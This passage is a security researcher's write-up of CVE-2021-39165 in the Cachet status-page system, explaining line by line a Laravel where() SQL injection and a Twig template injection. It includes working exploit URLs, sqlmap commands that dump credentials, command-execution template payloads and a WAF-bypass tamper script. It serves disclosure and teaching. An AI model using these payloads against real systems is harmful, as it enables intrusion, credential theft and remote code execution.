ifchecks whether the operator is in the list of known operators, in two places: the builder's own list and the database grammar's list.strtolowermakes the comparison case-insensitive. - If the operator is not known,
list($value, $operator) = [$operator, '='];swaps things around: the second argument becomes the value and the operator becomes=. This is the shortcut that lets you writewhere('id', 1)with only two arguments.
When the first argument is an array, execution goes to addArrayOfWheres(). The second if shows the operator is validated against the known operator lists, which is why operator injection fails.
addArrayOfWheres() and whereNested() look like this:
protected function addArrayOfWheres($column, $boolean, $method = 'where')
{
return $this->whereNested(function ($query) use ($column, $method) {
foreach ($column as $key => $value) {
if (is_numeric($key) && is_array($value)) {
call_user_func_array([$query, $method], $value);
} else {
$query->$method($key, '=', $value);
}
}
}, $boolean);
}
public function whereNested(Closure $callback, $boolean = 'and')
{
$query = $this->forNestedWhere();
call_user_func($callback, $query);
return $this->addNestedWhereQuery($query, $boolean);
}
Line by line:
addArrayOfWheres($column, $boolean, $method = 'where')receives the user's array and the boolean.return $this->whereNested(function ($query) use ($column, $method) { ... }, $boolean);passes a function (a callback) towhereNested, along with the boolean.foreach ($column as $key => $value)walks every entry of the user's array.if (is_numeric($key) && is_array($value))checks for a numeric key whose value is itself an array. This is the shape[['id', '>', '18'], ...]from earlier.call_user_func_array([$query, $method], $value);calls the method named$method(that is,where) on the query, using the inner array as the list of arguments. So['id', '>', '18']becomeswhere('id', '>', '18').else { $query->$method($key, '=', $value); }for ordinary key and value pairs, adds a simple equality condition.- In
whereNested,$query = $this->forNestedWhere();creates a fresh query object for the nested conditions. call_user_func($callback, $query);runs the callback on it.return $this->addNestedWhereQuery($query, $boolean);attaches the nested query to the main one, using the boolean to decide how to join it.
The important part is the callback that iterates over the user-supplied array. When a key is numeric and its value is an array, it calls [$query, $method], that is $this->where(), with the whole $value array as the argument list. This is exactly what implements the third form of where() shown above. The consequence: control over the first argument of where() becomes control over all of its arguments.
The fourth argument
Looking again at the signature:
public function where($column, $operator = null, $value = null, $boolean = 'and')
Line by line:
$columnis the column name.$operatoris the comparison symbol, defaulting to null.$valueis the value to compare against, defaulting to null.$booleanis how this condition is joined to the others, defaulting to'and'.
The fourth parameter, $boolean, controls how WHERE conditions are joined and defaults to and. It is neither a key nor a value in the SQL statement; it is SQL code itself. If it is not validated, there is SQL injection. It is not validated. With debug mode on and the error-suppression logic commented out, the SQL error appears on the page.
This screenshot shows the SQL error appearing on the page once debug mode is on and the error suppression is disabled.
The 1[3] parameter can inject arbitrary statements, so this is a SQL injection. Because the API endpoint is a GET request, no user permissions are needed: it is an unauthenticated front-end SQL injection.
The author compares this Laravel array behaviour to the ThinkPHP 3 SQL injection he first found six years earlier, which pioneered array-based ORM injection in frameworks. ORM means object-relational mapping, the layer that lets code talk to a database using objects instead of raw SQL. Laravel's issue is in the first argument of where(), and the vendor does not consider it a framework problem.
Choosing an exploitation technique
By default Cachet returns only a 500 error with no details, and Laravel does not support stacked queries. Stacked queries means sending several SQL statements in one go, separated by semicolons. That leaves two options: UNION SELECT to read data directly, or boolean blind injection. UNION SELECT is a SQL feature that glues the results of a second query onto the first. Boolean blind injection means asking the database true/false questions and watching whether the page changes, because the data itself is never shown.
UNION is not usable here because the user input passes through two SQL statements with different column counts, so at least one of them errors out during a UNION SELECT. Boolean blind injection works.
A request that returns data:
http://[redacted]:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)+--+
Line by line:
http://[redacted]:8080/api/v1/componentsis the components API on the local machine.?name=1starts the query string, the part of a URL after the question mark that carries parameters.&1[0]=&1[1]=a&1[2]=builds an array named1with numeric keys 0, 1 and 2. In a URL, square brackets create nested arrays, so1[0]means "key 0 of the array called 1".&1[3]=or+%27a%27=%3F%20and%201=1)+--+sets key 3 to the payload.+is a space,%27is a single quote,%3Fis a question mark,%20is a space. Decoded, the value isor 'a'=? and 1=1) --.- The
--at the end is SQL's comment marker, which makes the database ignore the rest of the original query.
This screenshot shows the request returning component data, which proves the injected condition is being evaluated.
Changing and 1=1 to and 1=2 makes the data disappear:
http://[redacted]:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=2)+--+
Line by line:
- The URL is identical except for the final condition, now
and 1=2, which is false. - If the page now returns nothing, the injected condition is genuinely controlling the query.
This screenshot shows the same request with the false condition returning no data.
That confirms blind injection. SQLMap replaces the whole parameter with its payload by default, but this injection point needs a prefix and suffix, so the parameter has to be adjusted. The technique is to take a URL that returns data, add an asterisk after the closing parenthesis, and use it as the -u target:
python sqlmap.py -u "http://[redacted]:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+"
Line by line:
python sqlmap.pyruns SQLMap with Python.-u "..."gives SQLMap the target URL.- The
*after1=1)tells SQLMap exactly where to insert its payload. Everything before the star is the prefix, everything after is the suffix.
This screenshot shows SQLMap recognising the injection point.
SQLMap identifies the injection point. Since the table structure is known, the users and passwords are retrieved successfully.
This screenshot shows SQLMap extracting user and password data from the database.
From SQL injection to the admin panel
The advantage of this injection is that it needs no permissions. The disadvantage is that stacked queries are not possible, because PDO is initialised with PDO::ATTR_EMULATE_PREPARES set to false and the database's default parameterised queries do not allow preparing multiple statements. PDO is PHP's database access layer, and parameterised queries are queries where values are sent separately from the SQL text, which is the standard defence against injection. Without stacking there is no UPDATE, so the injection yields information only. Getting code execution requires further auditing.
The next phase was backend logic, and the author recommends combining black-box and white-box testing there. Black-box means testing from outside without reading the code; white-box means reading the code. The backend has many sensitive operations such as file upload and editing that can sometimes be tested by simply changing a captured request. Cachet's backend is relatively safe: there is no file operation logic, and the only upload, the Banner Image change, has no vulnerability.
One feature stood out: Incident Templates, used to simplify filling in details when reporting an incident. It supports parsing the Twig template language.
This screenshot shows the Incident Templates feature in the Cachet admin interface.
Twig parsing happens in the API request: when an Incident object is created or edited through the API, Incident Templates are used and the template engine executes.
Executing a template
To exploit this, add an Incident Template in the web backend, fill in the Twig template, and note its name. Then send the following request to execute the template named ssti and get the result:
POST /api/v1/incidents HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
X-Cachet-Token: [redacted]
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
visible=0&status=1&name=demo&template=ssti
Line by line:
POST /api/v1/incidents HTTP/1.1is a POST request, the kind used to create something, to the incidents API.Host: localhost:8080says which server to talk to.Accept-Encoding,Accept,Accept-Language,User-Agent,Connectionare standard headers describing the client.User-Agentsays which browser is calling.X-Cachet-Token: [redacted]is the API token, a secret string that proves who you are, like a password for programs. Here it is the API key of the user obtained through the SQL injection.Content-Type: application/x-www-form-urlencodedsays the body is a normal form submission.Content-Length: 42is the size of the body in bytes.- The blank line separates headers from body.
visible=0&status=1&name=demo&template=sstiis the body: create an incident that is not visible, with status 1, nameddemo, using the template calledssti.
With an Incident Template whose content is {{ 233 * 233 }}, the rendered result is returned in the API response.
This screenshot shows the API response containing the result of the arithmetic in the template, which proves the template engine is executing our input.
Twig version constraints
Twig is a well-known PHP template engine that offers a safer sandbox mode. A template engine takes a template with placeholders and fills them in. In default mode there are no special restrictions; in sandbox mode only whitelisted tags and filters are available. Cachet does not use sandbox mode.
In normal mode, executing malicious code requires built-in tags or filters, or dangerous objects in the context. The context is the set of variables handed to the template. Twig v1.41, v2.10 and v3 added the map and filter filters, which can call arbitrary functions directly:
{{["id"]|filter("system")|join(",")}}
{{["id"]|map("system")|join(",")}}
Line by line:
{{ ... }}is Twig's syntax for "evaluate this and print the result".["id"]is a list containing the stringid.|filter("system")applies thefilterfilter, which calls the named function (system, a PHP function that runs a shell command) on each element.|join(",")glues the results into one string separated by commas.- The second line does the same with
mapinstead offilter.
Cachet v2.3.18 uses v1.40.1, which does not have these filters. For older versions, PortSwigger's 2015 article on server-side template injection described the method of the time:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Line by line:
_selfis a default context object in Twig referring to the current template..envreaches the template's environment object, which holds the engine's configuration..registerUndefinedFilterCallback("exec")registersexec(a PHP function that runs a command) as the handler for unknown filters..getFilter("id")then asks for a filter calledid, which triggers the registered handler and runs the commandid.
This was fixed in Twig v1.20.0: when the object is the current object, property access is not performed, and the following if is never entered:
// object property
if (self::METHOD_CALL !== $type && !$object instanceof self) { // Twig_Template does not have public properties, and we don't want to allow access to internal ones
if (isset($object->$item) || array_key_exists((string) $item, $object)) {
if ($isDefinedTest) {
return true;
}
if ($this->env->hasExtension('sandbox')) {
$this->env->getExtension('sandbox')->checkPropertyAllowed($object, $item);
}
return $object->$item;
}
}
Line by line:
- The outer
ifonly runs when the access is not a method call and the object is not the template itself.instanceof selfmeans "is this object of the same class as me". isset($object->$item) || array_key_exists((string) $item, $object)checks whether the requested property exists.if ($isDefinedTest)handles the case where Twig only wants to know whether the property exists, and returns true.if ($this->env->hasExtension('sandbox'))checks whether sandbox mode is on, and if so asks the sandbox whether this property is allowed.return $object->$item;finally returns the property value.
The fix is sound: Twig normally allows access only to public properties and methods, but _self points at $this, and $this can reach protected properties of parent classes, which bypassed the scope restriction and reached env. The fix makes _self behave like any other object. It also removed _self.getEnvironment(), which could reach env as well.
Cachet uses rcrowe/twigbridge to integrate Twig into Laravel, and the version in composer.lock is certainly above v1.20.0 (actually v1.40.1), so this payload cannot be used for command execution either. composer.lock is the file that records exactly which versions of each library a project installed.
A new Twig chain
Cachet renders Twig templates with this code:
protected function parseIncidentTemplate($templateSlug, $vars)
{
if ($vars === null) {
$vars = [];
}
$this->twig->setLoader(new Twig_Loader_String());
$template = IncidentTemplate::forSlug($templateSlug)->first();
return $this->twig->render($template->template, $vars);
}
Line by line:
parseIncidentTemplate($templateSlug, $vars)receives the template name and the variables to fill in.if ($vars === null) { $vars = []; }makes sure the variables are at least an empty array.$this->twig->setLoader(new Twig_Loader_String());tells Twig to load templates from strings rather than files.$template = IncidentTemplate::forSlug($templateSlug)->first();looks up the stored template by its name and takes the first match.return $this->twig->render($template->template, $vars);renders the template with the variables and returns the output.
$vars is an array passed by the user in the POST body, so the variables injected into the template are plain strings, with no objects. Combined with the restricted _self, usable methods are hard to find.
Attention turned to rcrowe/twigbridge, the bridge between Laravel and Twig. Following Laravel's dependency injection and inversion of control, a bridge needs a Service Provider that initialises the target object and puts it in the container. Dependency injection means a class is handed the objects it needs instead of creating them itself; the container is the box that holds shared objects. Breaking in the twigbridge ServiceProvider and following the Twig initialisation revealed something interesting.
This screenshot shows the debugger inside the twigbridge ServiceProvider, where the custom base template class is visible.
baseTemplateClass is not the default \Twig\Template but a custom TwigBridge\Twig\Template. baseTemplateClass is the base class of the object _self points to in a template, so it is an important class.
In src/Twig/Template.php, the $context contains a special-looking object, __env:
/**
* {@inheritdoc}
*/
public function display(array $context, array $blocks = [])
{
if (!isset($context['__env'])) {
$context = $this->env->mergeShared($context);
}
if ($this->shouldFireEvents()) {
$context = $this->fireEvents($context);
}
parent::display($context, $blocks);
}
Line by line:
display(array $context, array $blocks = [])is the method that outputs a template.if (!isset($context['__env']))checks whether the context already has an__enventry.$context = $this->env->mergeShared($context);if not, merges in the shared variables, which is where__envcomes from.if ($this->shouldFireEvents())checks whether events should be fired around rendering.$context = $this->fireEvents($context);fires them and updates the context.parent::display($context, $blocks);calls the parent class's display to do the actual output.
Breaking there shows __env is an \Illuminate\View\Factory object: Twig shares the global variables of Laravel's native View template engine.
Looking for dangerous properties and functions in \Illuminate\View\Factory, the \Illuminate\Events\Dispatcher property contains a pair of event listener functions:
public function listen($events, $listener, $priority = 0)
{
foreach ((array) $events as $event) {
if (Str::contains($event, '*')) {
$this->setupWildcardListen($event, $listener);
} else {
$this->listeners[$event][$priority][] = $this->makeListener($listener);
unset($this->sorted[$event]);
}
}
}
public function fire($event, $payload = [], $halt = false)
{
// ...
foreach ($this->getListeners($event) as $listener) {
$response = call_user_func_array($listener, $payload);
Line by line:
listen($events, $listener, $priority = 0)registers a listener for an event name.foreach ((array) $events as $event)loops over the event names, casting a single name to an array.if (Str::contains($event, '*'))handles wildcard event names.$this->listeners[$event][$priority][] = $this->makeListener($listener);stores the listener under the event name and priority.unset($this->sorted[$event]);clears any cached sorted list for that event.fire($event, $payload = [], $halt = false)triggers an event.foreach ($this->getListeners($event) as $listener)loops over the registered listeners.$response = call_user_func_array($listener, $payload);calls each listener with the payload as arguments.
The constraint is that the callback must be a class method that can be created and initialised automatically, such as a static method. A static method is a function that belongs to a class rather than to an object of that class. A suitable pair was found in \Symfony\Component\VarDumper\VarDumper: call setHandler to set $handler to any function, then call dump to execute it.
class VarDumper
{
private static $handler;
public static function dump($var)
{
// ...
return call_user_func(self::$handler, $var);
}
public static function setHandler(callable $callable = null)
{
$prevHandler = self::$handler;
self::$handler = $callable;
return $prevHandler;
}
}
Line by line:
private static $handler;is a class-level variable that holds the current handler function.public static function dump($var)takes a value and calls whatever is stored in$handleron it, viacall_user_func.public static function setHandler(callable $callable = null)stores a new handler and returns the previous one.
So the two together let you set the handler to any function and then trigger it.
The resulting template executes arbitrary commands:
{{__env.getDispatcher().listen('ssti1', '\\Symfony\\Component\\VarDumper\\VarDumper@setHandler')}}
{% set a = __env.getDispatcher().fire('ssti1', ['system']) %}
{{__env.getDispatcher().listen('ssti2', '\\Symfony\\Component\\VarDumper\\VarDumper@dump')}}
{% set a = __env.getDispatcher().fire('ssti2', ['ping -n 1 [redacted]']) %}
Line by line:
__env.getDispatcher()reaches the event dispatcher from the shared context..listen('ssti1', '...VarDumper@setHandler')registersVarDumper::setHandleras the listener for an event namedssti1.{% set a = ... %}is Twig's way of running an expression and storing the result without printing it..fire('ssti1', ['system'])triggers the event, passingsystemas the argument, so the handler is set to the PHPsystemfunction.- The third line registers
VarDumper::dumpas the listener forssti2. - The fourth line fires
ssti2withping -n 1 [redacted]as the argument, sodumpcallssystemwith that command, which runs it.
This screenshot shows the command execution working through the template.
Besides __env, the context also contains an app variable, an \Illuminate\Foundation\Application object, whose chain is simpler because one of its functions executes arbitrary code directly:
public function call($callback, array $parameters = [], $defaultMethod = null)
{
if ($this->isCallableWithAtSign($callback) || $defaultMethod) {
return $this->callClass($callback, $parameters, $defaultMethod);
}
$dependencies = $this->getMethodDependencies($callback, $parameters);
return call_user_func_array($callback, $dependencies);
}
Line by line:
call($callback, array $parameters = [], $defaultMethod = null)takes a callback and its parameters.if ($this->isCallableWithAtSign($callback) || $defaultMethod)handles theClass@methodstring form or an explicit default method.return $this->callClass($callback, $parameters, $defaultMethod);resolves and calls it in that case.$dependencies = $this->getMethodDependencies($callback, $parameters);otherwise works out the dependencies.return call_user_func_array($callback, $dependencies);and calls the callback with them.
So a template that executes an arbitrary PHP function is much simpler:
{{ app.call('md5', ['123456']) }}
Line by line:
app.call(...)calls the application'scallmethod.'md5'is the name of a PHP function that computes a hash.['123456']is the list of arguments passed to it.- The result is printed by the template.
With that, backend code execution is achieved. Combined, the two vulnerabilities give full control of the Cachet system.
Taking it to bug bounty programs
Many large companies abroad use Statuspage, so the author searched HackerOne and Bugcrowd for vendors using Cachet.
This screenshot shows the search results on the bug bounty platforms for vendors using Cachet.
There were not many; most vendors still use Statuspage.io.
In the wild a difficult problem appeared: many vendors use a WAF, which makes a GET-based injection awkward. A WAF, web application firewall, sits in front of a site and blocks requests that look like attacks. The solution came back to code auditing. Cachet reads user input with graham-campbell/binput, and the earlier audit showed it filters input on retrieval:
public function get($key, $default = null, $trim = true, $clean = true)
{
$value = $this->request->input($key, $default);
return $this->clean($value, $trim, $clean);
}
Line by line:
get($key, $default = null, $trim = true, $clean = true)reads one input value.$value = $this->request->input($key, $default);fetches it from the request, or uses the default.return $this->clean($value, $trim, $clean);passes it through the cleaning function before returning it.
Following clean() shows the library processes user input like this:
protected function process($str)
{
$str = $this->removeInvisibleCharacters($str);
//...
}
protected function removeInvisibleCharacters($str, $urlEncoded = true)
{
$nonDisplayables = [];
if ($urlEncoded) {
$nonDisplayables[] = '/%0[0-8bcef]/';
$nonDisplayables[] = '/%1[0-9a-f]/';
}
$nonDisplayables[] = '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S';
do {
$str = preg_replace($nonDisplayables, '', $str, -1, $count);
} while ($count);
return $str;
}
Line by line:
process($str)is the cleaning entry point.$str = $this->removeInvisibleCharacters($str);strips invisible characters first.removeInvisibleCharacters($str, $urlEncoded = true)does the stripping.$nonDisplayables = [];starts an empty list of patterns to remove.if ($urlEncoded)adds patterns for URL-encoded control characters:%00to%08,%0b,%0c,%0e,%0f, and%10to%1f.$nonDisplayables[] = '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S';adds a pattern for raw control characters.do { $str = preg_replace($nonDisplayables, '', $str, -1, $count); } while ($count);repeatedly removes matches until nothing is left, because removing one character can create a new match.return $str;returns the cleaned string.
removeInvisibleCharacters() strips all control characters from the input. That behaviour can be used to bypass a WAF. A normal injection statement is blocked by the WAF.
This screenshot shows the WAF blocking a normal injection attempt.
Inserting a control character %01 in the middle of the keyword OR bypasses the WAF and injects normally.
This screenshot shows the same attack succeeding once the control character is inserted.
A simple SQLMap tamper script automates the processing. A tamper script is a small plugin that rewrites each payload before SQLMap sends it.
#!/usr/bin/env python
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
KEYWORD_PATTERN = re.compile(r'\b[a-zA-Z]{2,}\b')
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Add %01 to all the keyword
>>> tamper("1 AND '1'='1")
"1 A%01ND '1'='1"
"""
payload_list = list(payload)
offset = 0
for g in KEYWORD_PATTERN.finditer(payload):
start = g.start()
end = g.end()
m = (start + end) // 2
payload_list.insert(offset + m, '%01')
offset += 1
return ''.join(payload_list)
Line by line:
#!/usr/bin/env pythonis the line that tells the system how to run the script.import reimports Python's regular expression module.from lib.core.enums import PRIORITYimports SQLMap's priority levels.__priority__ = PRIORITY.LOWESTtells SQLMap when to run this tamper relative to others.KEYWORD_PATTERN = re.compile(r'\b[a-zA-Z]{2,}\b')builds a pattern that matches words of two or more letters, which is how it finds SQL keywords.def dependencies(): passis a required but empty function.def tamper(payload, **kwargs):is the function SQLMap calls for each payload.- The docstring shows an example:
1 AND '1'='1becomes1 A%01ND '1'='1. payload_list = list(payload)turns the string into a list of characters so it can be edited.offset = 0tracks how many characters have been inserted so far, because each insertion shifts later positions.for g in KEYWORD_PATTERN.finditer(payload):loops over every keyword found.start = g.start()andend = g.end()give its position.m = (start + end) // 2finds the middle of the word.payload_list.insert(offset + m, '%01')inserts%01there.offset += 1accounts for the insertion.return ''.join(payload_list)turns the list back into a string.
Using the tamper:
python sqlmap.py -u "https://target/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=o%02r+%27a%27=%3F%20a%01nd%201=1)*+--+" --tamper addinvisiblechars.py -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
Line by line:
-u "..."is the target URL, with%02insideo%02rand%01insidea%01nd.--tamper addinvisiblechars.pyloads the script above.-A "..."sets the User-Agent header, so the requests look like a normal browser.
A few vendors with bug bounty programs were submitted and all were confirmed.
This screenshot shows one confirmed report.
This screenshot shows another confirmed report.
Root cause
The SQL injection is in scopeSearch. The guard array_intersect(array_keys($search), $this->searchable) only checks that at least one user-supplied key matches a searchable column, so an attacker adds one legitimate key and keeps every other key. The full array then reaches where(). Laravel's addArrayOfWheres() iterates the array and, for numeric keys whose values are arrays, calls where() again with the value array as the argument list. That lets the attacker supply the fourth argument, $boolean, which is concatenated as SQL code rather than bound as a value. The operator argument is validated against the operator lists, and keys are escaped as identifiers, but $boolean is not validated at all. The vendor does not consider the framework behaviour a framework problem.
The template injection is a design issue: Incident Templates render user-authored Twig without sandbox mode, and the Twig context carries framework objects (__env, an \Illuminate\View\Factory, and app, an \Illuminate\Foundation\Application) that expose callable sinks. The Twig fix for _self closed the old chain but not the shared context objects.
The WAF bypass works because Binput strips control characters from the input, so a keyword split by %01 or %02 is reassembled into a valid keyword before it reaches the query.
Impact
The SQL injection is unauthenticated: any GET request to the components API reaches the vulnerable code, and data can be extracted by boolean blind injection, subject to the limits above. In the bug bounty phase it was confirmed by several vendors that use Cachet, and the same input filtering that enables the WAF bypass made those submissions practical.
The template injection requires an Incident Template to be created in the web backend, and an API token to create or edit an incident through the API. Once those are in place it gives arbitrary command execution on the server. Chained with the SQL injection, which yields user credentials and API keys, the two together give full control of the Cachet system.
Fix
The vulnerability was submitted to the Cachet team, but the official developers are not very active and did not respond. A forked vendor was found in the issues section; it is more active and its maintainers can be contacted, so the vulnerability was reported from the perspective of the forked vendor. A fork is a copy of a project that someone else maintains separately. The fork was found to have patched this vulnerability previously. The advisory was published on 27 August 2021 at 01:36 AM GMT+8 and confirmed as CVE-2021-39165.
Timeline:
- 19 July 2021: vulnerability discovery.
- 20 July 2021: SQL injection submitted to Laravel, which does not consider it their problem.
- 19 to 30 July 2021: vendors on HackerOne and Bugcrowd tested and vulnerabilities submitted.
- 27 July 2021: vulnerability submitted to the official Cachet team and the fork maintainers.
- 27 July 2021: the fork was found to have patched the vulnerability previously.
- 27 August 2021, 01:36 AM GMT+8: advisory released, CVE-2021-39165.
Variants to test
- Search for other Laravel applications that pass a user-controlled array into
where(). A positive result is a query that errors with an "unknown column" message for a controlled key, or a boolean condition in the fourth argument that changes the result set. - Look for scopes that use
array_intersector similar partial checks on user keys. A positive result is a request with one valid key plus extra keys that still reaches the query builder. - Test
where()with a numeric key whose value is an array of three or four elements, and vary the fourth element. A positive result is a change in the returned rows when the fourth element changes between true and false conditions. - Look for template engines rendered without sandbox mode where the context contains framework objects. A positive result is a template expression that calls a method on a context object and returns its output.
- Test whether input filtering strips control characters after the WAF. A positive result is a request with
%01or%02inside a keyword that the WAF allows and the application processes as the original keyword. - Check whether the database driver allows stacked queries. A positive result is a second statement executing; a negative result means extraction only, as here.
Glossary
- API: a set of web addresses a program can call to read or change data, instead of a human clicking pages.
- API token: a long secret string a program sends to prove who it is, like a password for machines.
- Array: an ordered collection of values, often key and value pairs, used to pass several pieces of data at once.
- Audit (code audit): reading source code looking for security mistakes.
- Black-box testing: testing a running site from the outside without reading its code.
- Boolean blind injection: an attack that asks the database true/false questions and watches whether the page changes, because the data is never shown.
- Bug bounty: a programme where companies pay people for reporting security bugs responsibly.
- Callback: a function passed to other code so it can be called later.
- CVE: a public identifier for a known vulnerability, so people can refer to it unambiguously.
- CMS: content management system, a ready-made web application you configure rather than write.
- Component (in Cachet): one of the individual services listed on a status page.
- Composer.lock: the file recording exactly which versions of each library a PHP project installed.
- Controller: the part of a web application that handles a request and produces a response.
- Cookie: a small piece of data a site stores in your browser and gets back on later requests.
- CSRF token: a hidden value in a form that proves the form came from the site itself, not from another site.
- Dependency injection: a design where a class is handed the objects it needs instead of creating them itself.
- Endpoint: a specific web address that accepts requests.
- Fork: a copy of a software project maintained separately by someone else.
- Framework: a toolkit of ready-made code that a web application is built on.
- GET request: a request that asks to read something, the kind your browser makes when you open a link.
- Header: a line in an HTTP request or response carrying extra information, such as the browser type or a token.
- Incident: an outage or problem reported on a status page.
- Incident Template: a saved Twig template used to fill in incident details automatically.
- Inversion of control: a design where a central container creates and supplies objects rather than each class doing it.
- Laravel: a popular PHP web framework.
- Middleware: code that runs before the main handler of a request, like a doorman.
- Model: the code that represents one database table in a framework.
- ORM: object-relational mapping, a layer that lets code talk to a database using objects instead of raw SQL.
- Parameterised query: a database query where values are sent separately from the SQL text, the standard defence against injection.
- PDO: PHP's database access layer.
- POST request: a request that sends data to create or change something.
- Route: the mapping from a web address to the code that handles it.
- Sandbox mode (Twig): a restricted mode where only whitelisted tags and filters are allowed.
- Scope (Laravel): a reusable query helper defined on a model, whose name starts with
scope. - Server-side template injection (SSTI): injecting template syntax so the server evaluates it, potentially running code.
- Session: the server's memory of who you are across several requests.
- SQL: the language used to talk to relational databases.
- SQL injection: tricking a database query into running attacker-supplied SQL by mixing user input into the query text.
- SQLMap: a tool that automates finding and exploiting SQL injection.
- Stacked queries: sending several SQL statements in one go, separated by semicolons.
- Static method: a function that belongs to a class rather than to an object of that class.
- Status page: a public page showing whether a company's services are running normally.
- Tamper script (SQLMap): a small plugin that rewrites each payload before SQLMap sends it.
- Trait: a bundle of methods that other classes can reuse.
- Twig: a template language for PHP, used to fill placeholders in text.
- UNION SELECT: a SQL feature that glues the results of a second query onto the first.
- WAF: web application firewall, a filter in front of a site that blocks requests that look like attacks.
- White-box testing: testing with access to the source code.
- WHERE clause: the part of a SQL query that says which rows to pick.